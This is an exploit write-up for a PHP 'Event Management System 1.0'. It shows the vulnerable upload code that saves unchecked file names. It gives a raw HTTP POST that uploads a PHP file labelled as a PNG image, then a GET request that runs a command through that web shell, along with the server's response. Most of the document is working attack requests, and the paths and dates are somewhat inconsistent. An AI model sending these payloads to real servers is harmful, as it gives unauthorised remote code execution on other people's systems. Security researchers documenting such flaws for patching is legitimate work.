# Title: Event Management System 1.0 Shell Upload # Author: Hejap Zairy # Date: 24.07.2022 # Vendor: https://www.sourcecodester.com/php/15238/event-management-system-project-php-source-code.html # Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Royal%20Event.zip # Reference: https://github.com/Matrix07ksa # Tested on: Windows, MySQL, Apache registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw #vulnerability Code php Needs more filtering to upload profile files php``` if(isset($_POST['submit'])) { $adminid=$_SESSION['odmsaid']; $productname=$_POST['productName']; $productimage1=$_FILES["productimage1"]["name"]; move_uploaded_file($_FILES["productimage1"]["tmp_name"],"assets/img/profileimages/".$_FILES["productimage1"]["name"]); $sql="update tbladmin set Photo=:productimage1 where ID=:aid"; $query = $dbh->prepare($sql); $query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR); $query->bindParam(':aid',$pid,PDO::PARAM_STR); $query->execute(); $_SESSION['msg']="profile Image Updated Successfully !!"; } ?> ``` [+] Payload POST ``` POST /scbs/?p=manage_account HTTP/1.1 Host: 0day.gov Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738 Content-Length: 882 Origin: https://0day.gov Referer: https://0day.gov/scbs/ Upgrade-Insecure-Requests: 1 Te: trailers Connection: close -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productName" Hejap Zairy -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php" Content-Type: image/png -----------------------------409902128312379197203124536738 Content-Disposition: form-data; name="submit" -----------------------------409902128312379197203124536738-- ``` #Status: CRITICAL [+] Payload GET ``` GET /Royal%20Event/royal_event/assets/img/profileimages/0day_hejap.php?515=echo+Hejap+Zairy HTTP/1.1 Host: 0day.gov User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41 Upgrade-Insecure-Requests: 1 ``` #Response ``` HTTP/1.1 200 OK Date: Thu, 24 Mar 2022 11:15:56 GMT Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27 X-Powered-By: PHP/7.4.27 Content-Length: 12 Connection: close Content-Type: text/html; charset=UTF-8 Hejap Zairy ``` # Description: The file upload bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers. # Proof and Exploit: https://i.imgur.com/Q85LFQy.png https://i.imgur.com/w7B8uAf.png